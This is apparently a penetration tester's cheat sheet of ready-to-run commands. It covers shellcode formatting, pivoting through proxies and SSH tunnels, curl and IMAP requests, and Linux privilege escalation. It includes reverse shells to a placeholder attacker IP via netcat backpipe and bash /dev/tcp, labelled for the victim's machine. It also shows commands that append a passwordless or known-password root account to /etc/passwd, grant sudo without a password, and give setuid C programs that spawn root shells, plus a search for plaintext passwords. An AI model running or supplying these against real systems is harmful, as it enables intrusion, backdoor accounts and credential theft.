Pen Test cheatsheet by D7X

pivoting curl imap sed shells privilege escalation
Web Application / SQL Injection

Generate all ASCII characters hex values using python:

```
python -c 'for x in range(0xff+1): print "%02x" % x,' | sed 's/ /\\x/g' | sed 's/^/\\x/'
```

```
python -c 'for x in range(0xff+1): print "%02x" % x,' | sed 's/ /\\x/g' | sed 's/^00//'
```

Sample Output:

```
\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
```

** useful to test for bad characters, do not forget to put it in (" ") if using it multiline*

Count shellcode bytes:

```
echo '\x01\x02\x03\x04\x05' | grep -o '\x' | wc -l
```

Sample Output: 5

Convert hex to ascii:

```
echo -n "0x41" | xxd -r
```

Sample Output: A

** Use 0x414243... for a full string*

Convert ascii to hex digit:

```
echo -n "A" | xxd -p
```

Sample Output: 41

Convert ASCII(wireshark dump) string to shellcode:

```
echo '925093c5925093c529c983e9afe8ffffffffc05e81760e40' | sed 's/[a-z0-9]\{2\}/\\x&/g'
```

```
Sample Output:
\x92\x50\x93\xc5\x92\x50\x93\xc5\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff
\xff\xc0\x5e\x81\x76\x0e\x40
```

** useful for porting tcpdump/wireshark strings to a shellcode variable*

Convert ASCII(actual text) string to shellcode:

```
echo 'PromiseLabs' | xxd -p | sed 's/.\{2\}/\\x&/g'
```

```
Sample Output: \x50\x72\x6f\x6d\x69\x73\x65\x4c\x61\x62\x73\x0a
```

** converts text to its shellcode representation*
** add | tr -d '\n' at the end to avoid wrapping on long texts*

Generate a string of X length characters:

```
python -c 'print "A"*30'
```

```
for i in $(seq 1 30); do echo -n "A"; done
```

```
Sample Output: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

** useful when modifying offsets in a non-python language*

Find ASCII string in binary data:

```
strings <filename>
```

```
Sample Output: GetStringTypeA
```

Count characters in a string:

```
A="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1A";
echo ${#A}
```

```
python -c 'print len("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8")'
```

```
Sample Output: 37
27
```

** useful for finding offsets*

Compile windows exploit code under linux environment using mingw:

```
$(uname -m)-w64-mingw32-gcc -o compiled.exe in.c -
lws2_32
```

```
Sample Output:
```

** -lws2_32 to include the win32 winsock library*

(Reverse) shell techniques *Pentestmonkey's complete reverse shell cheatsheet*

---

netcat backpipe:

```
mknod /tmp/backpipe p; /bin/sh 0</tmp/backpipe | nc <attacker's ip> <port> 1>/tmp/backpipe
```

Sample Output:

** to be run on victim's box*
** But, What If You Have Raw Execution and You're Not In a Shell? /bin/sh -c "/bin/sh 0</tmp/backpipe | nc <attacker> 443 1^gt;/tmp/backpipe" sans netcat without -e article*

bash reverse shell:

```
bash -i >& /dev/tcp/<attacker's ip>/443 0>&1
```

Sample Output:

** to be run on victim's box, useful when missing filewrite on the target system*
** may require sudo privileges*

Pivoting

---

netcat backpipe:

```
mknod /tmp/backpipe p; nc -l -p 80 0<backpipe | nc <target> 80 1>/tmp/backpipe
```

Sample Output:

** to be run on the pivot server, supports one connection at a time*

Ncat proxy:

```
ncat --listen --proxy-type http
```

Sample Output:

** to be run on the pivot server, supports multiple connections*
** usually used with proxychains for non-socks aware tools*
** Examples: # proxychains nmap -PN -sT 10.1.1.22; nikto -host 10.1.1.7 -useproxy http://<pivot>:8080; w3af set http-settings; for burpsuite add upstream proxy rule*

SSH local port forwarding:

```
ssh -L local_port:<target>:<remote_port> user@pivot.host
```

```
ssh -L 80:10.1.1.25:80 alice@10.11.1.5
```

Sample Output:

** pivot host has to have a ssh daemon running, to run an nmap scan on the defined port use localhost set as a target; for nikto use -useproxy option; burp -> add upstream proxy*
** w3af_console -> set_proxy_port and set_proxy_address to 127.0.0.1; metasploit -> set RHOST to 127.0.01 and RPORT to the defined port*

SSH Dynamic port forwarding:

```
ssh -D address:port -f -N user@pivot.target
```

```
ssh -D 127.0.0.1:8080 -f -N alice@10.11.1.5
```

** to be run on the attacker's box, runs as a SOCKS4/SOCKS5 proxy server and redirects anything, not port dependent; for tools which are not socks-aware use proxychains*

SSH tunnel over HTTP Proxy:

```
ssh -o "ProxyCommand=corkscrew 10.11.0.100 3128 10.11.0.100 22" sara@10.11.0.100
```

```
ssh -o "ProxyCommand=corkscrew 10.11.0.100 3128 10.11.0.100 22" sara@10.11.0.100 <CMD>
```

** use to connect to ssh of 10.11.0.100 using its own squid or proxy*
** HTTP tunneling*
** SSH Through or Over Proxy*

Proxychains:

```
proxychains nc 10.1.1.22 80
```

** for non-"socks aware" tools, usually used as a companion to ssh dynamic port forwarding; proxychains.conf configured as socks5 on 127.0.0.1 8080*
** Non-socks aware apps: nmap, nikto, w3af, metasploit*

Metasploit:

```
msf(module)> route add 10.1.1.23 255.255.255.0 1
```

```
meterpreter> run autoroute -s 10.1.1.0/24
```

```
msf (auxiliary/server/socks4a)>set SRVHOST 127.0.0.1 (acts as a socks server)
```

Sample Output:

** limitations: only TCP packets, msf socks module requires port forwarding to be enabled*
** msf(module) - non-preterpreter, use within all msf modules*
** meterpreter - meterpreter-based, use only within post modules*

Copy files via rsync:

```
rsync --rsh='ssh -p22000' <source folder> 10.11.1.232:~/ -r
```

** Use when outbound tcp traffic is disabled on all ports by firewall and scp is permissionless*

curl *curls' reference*

---

curl with POST:

```
curl -d "a=b" <url>
```

Sample Output:

** curl --data "va1=p&var2=" <url>*

curl with POST (urlencoded):

```
curl --data-urlencode "var1=p&var2=" <url>
```

Sample Output:

*

curl multipart/form-data (file upload):

```
curl -F "var=p" -F "filevar=@path/to/file.ext" <url>
```

Sample Output:

** to specify the content-type explicitly: -F "filevar=@file;type=image/jpg"*

curl with custom headers:

```
curl -H '<Content-Type: application/x-www-form-urlencoded">' -H '<header>'
```

Sample Output:

** -H "Transfer-Encoding: chunked" for chunked requests*

curl with spoofed user-agent / referer:

```
curl -A '<USER_AGENT>' -e <referer> <url>
```

Sample Output:

** curl --user-agent 'A' --referer 'R' <url>*

curl with binary payload:

```
curl --data-binary <"@path/to/file"> <url>
```

Sample Output:

***

curl imap requests *imap queries*

---

imap list folders:

```
curl "imap://<target>" --user <user>:<password> [-k]
```

Sample Output: * LIST (\HasNoChildren \Sent) "/" Sent * LIST (\HasNoChildren) "/" INBOX

** use -k or --insecure for insecure SSL requests*

imap read message:

```
curl "imap://<target>" --user <user>:<password> --request "Examine Inbox" [-k]
curl "imap://<target>/Inbox;UID=<ID>" --user <user>:<password> [-k]
```

Sample Output: * OK [PERMANENTFLAGS ()] Read-only mailbox. * 1 EXISTS *** Subject: *** From: *** To: *** X-Mailer: Message-Id: <ID@host> Date: ***

** use -k or --insecure for insecure SSL requests*

sed / general replacements

remove last line using sed:

```
sed -i '$ d' <file>
```

Sample Output:

*

strip lines starting with # using sed:

```
sed '/^#/ d' <file>
```

Sample Output:

** add | sed '/^\s*$/ d' to remove blank lines as well*

```
sed -e '/^#/ d' -e '/^\s*$/ d' <file>
```

Privilege Escalation *g0tmi1k's guide*

Add new suid user:

```
echo "PromiseLabs::0:0::/root:/bin/bash" >> /etc/passwd
```

Sample Output:

** Passwordless accounts do not always work and depend on the systems' configuration*
** If this is the case see the next one*

Add new suid user:

```
echo
'PromiseLabs:$6$jF5r28kmadAKaeW$yUaUDz6vsMcO4.Hv2Rdn4Y9aMSVKHreTX8TOd7Zzirxx8rHeQRXLfdfutavFq
JIFXVv4kysSqs/c9JkpGIKsm/:0:0::/root:/bin/bash' >>
/etc/passwd
```

Sample Output:

** Use '' (single-quotes) as otherwise the $ symbol would not be interpreted properly*
** sha-512, password 123456. To generate use mkpasswd 123456 -m sha-512*

Add user to sudoers group (no password):

```
echo 'PromiseLabs ALL=(ALL) NOPASSWD: ALL' >>
/etc/sudoers
```

Sample Output:

** PromiseLabs states for the username*
** To bring to root privileges type "sudo su"*

setuid C program:

```
#include <unistd.h>
#include <sys/types.h>
main() { setuid(0); setgid(0); execvp("/bin/sh", NULL); }
```

Sample Output:

** set uid & gid to 0 and spawn /bin/sh*
** to compile as a 32-bit static binary: gcc -o setuid setuid.c -m32 -static*
** useful when you are able to set an sgid bit*

setuid C program #2:

```
#include <unistd.h>
#include <sys/types.h>
main() { setuid(0); setgid(0); char *argv[] = { "/bin/bash",
"-p", NULL }; execvp("/bin/bash", &argv); }
```

Sample Output:

** set uid & gid to 0 and spawn /bin/bash -p*
** to compile as a 32-bit static binary: gcc -o setuid setuid.c -m32 -static*
** useful when you are able to set an sgid bit*

Unhandled / Insecure File Permissions:

```
find / -group <GROUP> 2>/dev/null
```

** find files belonging to a group*

```
find / -type f -user root \! -group root 2>/dev/null
```

** find files belonging to root but of a different group*

```
find / -type f -user root -group <GRP> 2>/dev/null
```

** find files belonging to root and group GRP*

```
find / -group <GROUP A> -o -group <GROUP B>
2>/dev/null
```

** find files belonging to a user either from group A or group B (OR condition)*

```
find / -perm /u=s,g=s 2>/dev/null
```

** sgid bit set to either user or group*

```
find / -perm /2000 -type f 2>/dev/null
```

** find all files with sgid bit set*
** use /4000 for all SUID files*

```
find / -type f \( -perm /2000 -o -perm /4000 \) -exec ls -l {}
\; 2>/dev/null
```

** search for permissions with either 2000(sgid on group) or 4000(sgid on user) and list all permissions on that file*
** use /6000 to combine (sgid both on user and group)*

Finding passwords in plain-text:

```
find /etc /home /var /usr/share \! -group root -type f -
exec grep -lq . {} \; -print0 2>/dev/null | xargs -0 grep -in
"password"
```

Sample Output:
/home/PromiseLabs/password.txt:4:password : UnsecurePassword

** searches for files located in /etc, /home, and /usr/share containing the string "password"*
** excludes the the files owned by root*